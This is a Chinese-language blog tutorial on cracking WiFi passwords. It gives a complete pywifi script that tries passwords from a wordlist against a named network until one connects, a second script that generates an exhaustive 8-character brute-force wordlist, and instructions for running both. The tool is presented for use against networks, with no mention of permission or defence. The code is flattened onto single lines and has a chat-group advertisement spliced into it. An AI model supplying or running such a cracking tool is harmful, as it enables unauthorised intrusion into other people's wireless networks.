阅读量:6
如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。
文章目录
一、编写代码
在桌面新建一个文件
如果你新建的文件没有后缀名.txt,请进行如下设置
打开刚刚新建的文件,下面代码写入文件,保存
# coding:utf-8 import pywifi from pywifi import const import time import datetime #测试连接,返回链接结果 def wifiConnect(pwd): #抓取网卡接口 wifi=pywifi.PyWiFi() #获取第一个无线网卡 ifaces=wifi.interfaces()[0] #断开所有连接 ifaces.disconnect() time.sleep(1) wifistatus=ifaces.status() if wifistatus ==const.IFACE_DISCONNECTED: #创建WiFi连接文件 profile=pywifi.Profile() #要连接WiFi的名称 profile.ssid="TP-LINK_1301" #网卡的开放状态 profile.auth=const.AUTH_ALG_OPEN #wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密单元 profile.cipher=const.CIPHER_TYPE_CCMP #调用密码 profile.key=pwd #删除所有连接过的wifi文件 ifaces.remove_all_network_profiles() #设定新的连接文件 tep_profile=ifaces.add_network_profile(profile) ifaces.connect(tep_profile) #wifi连接时间 time.sleep(1) if ifaces.status()==const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") #读取密码本 def readPassword(): print("开始破解:") #密码本路径 path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt" #打开文件 file=open(path,"r") while True: try: #一行一行读取 pad=file.readline() bool=wifiConnect(pad) Python学习交流群:748989764 if bool: print("密码已破解: ",pad) print("WiFi已自动连接!!!") break #else: #跳出当前循环,进行下一次循环 #print("密码破解中....密码校对: ",pad) except: continue start=datetime.datetime.now() readPassword() end=datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end-start))
将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)
二、展示测试结果
必备文件
三、测试
- 打开python软件
2.打开代码:
- File→Open→破解WiFi密码.PY(找到破解代码)→打开
3.测试运行
- 修改:WiFi名 和 密码本路径
- 测试:Run→Run Module
四、生成密码本(建议自己找一个密码本)
- 如果有密码本就不需要这个步骤
1.代码(密码中有重复的数字和字母)
1.修改: 密码组成元素 和 密码保存路径
- 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as its import datetime #记录程序运行时间 start=datetime.datetime.now() words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便 # 生成密码的位数 r = its.product(words,repeat=8)#密码位数为9 dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a') for i in r: dic.write(''.join(i)) dic.write(''.join('\n')) print(i) Python学习交流群:748989764 dic.close() print('密码本生成好了') end=datetime.datetime.now() print("生成密码本一共用了多长时间:{}".format(end-start))
- 运行步骤和前面破解WiFi密码相同不再讲解。